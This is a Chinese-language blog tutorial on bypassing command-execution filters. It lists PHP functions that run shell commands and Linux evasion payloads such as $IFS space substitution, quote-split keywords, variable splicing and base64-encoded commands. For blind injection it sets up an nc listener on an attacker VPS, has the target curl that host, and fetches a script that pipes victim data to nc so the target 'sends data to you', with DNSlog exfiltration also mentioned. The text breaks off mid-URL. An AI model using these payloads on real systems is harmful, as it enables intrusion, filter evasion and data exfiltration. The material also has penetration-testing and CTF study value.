关于命令执行Bypass的一些思路

更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一

作者:掌控安全-xiao_yi

一、常见命令执行的函数

system()

system(string $command, int &$return_var = ?): string

执行系统命令,有回显

passthru()

passthru(string $command, int &$return_var = ?): void

执行系统命令并且显示原始输出

shell_exec()

shell_exec(string $cmd): string)

通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显)

exec()

exec(string $command, array &$output = ?, int &$return_var = ?): string

执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行

反引号

echo `ls`;

只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用

回调函数
这类型函数会在代码执行的时候讲到,故这里只说明一点,如果回调函数执行的是上述的执行系统命令的函数,那么回调函数也可以被当成命令执行使用

二、Bypass技巧

(1)针对Linux系统
分隔符

换行符         %0a

回车符         %0d(利用fuzz测试从%00-%ff)

连续指令       ;

后台进程       &                 # java -jar test.jar &  表示进行放到后台执行,无法被ctrl+c杀死

管道符         |           # echo 'ls' | bash

逻辑符         ||  &&          # skjkfj||ls  由于前面命令不存在而为假,转而执行后面的ls

空格代替

<

$IFS

${
   IFS}

$IFS$(1-9)                                  #从19,可以进行fuzz

{
   cat,flag.txt}

%09 用于url传递,类似于%09代替空格

过滤特定函数(例如cat)

less, tac, more, less, head, tail, nl, od        # 命令代替

ca""t

ca''t

ca``t

ca\t

a=c;b=at;$a$b xxx.php                                                        # 变量拼接





c${
   u}at                                                                                 # 因为c$uat 系统不知道你要执行的是$u还是$uat,因此加上界定符,命令成功运行

l`$u`s

wh$1oami

who$@ami

whoa$*mi

其他思路

a=l;b=s;$a$b                                                    # 变量拼接



`echo d2hvYW1p | base64 -d`                     # base64编码



substr string pos end                                   # 利用字符串切割得到我们想要的字符,但是这种方法的利用考虑尝试.sh文件,未复现



echo ${
   PATH:0:1}

echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"

echo "`expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1`"   => $PWD 代表环境变量

expr${
   IFS}substr${
   IFS}$SESSION_MANAGER${
   IFS}14${
   IFS}1



$u                                                                      # $u在Linux中代表的是空字符串,并不是代表是空格,这里有一些好玩的技巧

c${
   u}at index$u.php$u

c`$u`at index$u.php$u

对于无回显情况
对于无回显的情况,和sql注入无回显的思路差不多!(所以方法只是其次,主要是思路)

判断思路

延时                  ls|sleep(3)

HTTP请求          curl

DNS请求               ping

curl进行检测

有一台可以进行通信的vps

vps 上执行 nc -lvnp 4444

在目标机器上执行curl vps:4444

观察vps的连接情况

若出现返回,则说明这里是存在命令执行的



或者是编写sh脚本

curl ip/1.sh > /tmp/1.sh

1.sh里面写

内容 | nc vps的ip 监听端口

让受害机器将数据发送给你

dnslog进行检测

由于域名转换成ip需要经过一次dns解析,所以可以通过dnslog将数据外带出来

推荐如下两个dnslog地址:

http://dnslog.
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值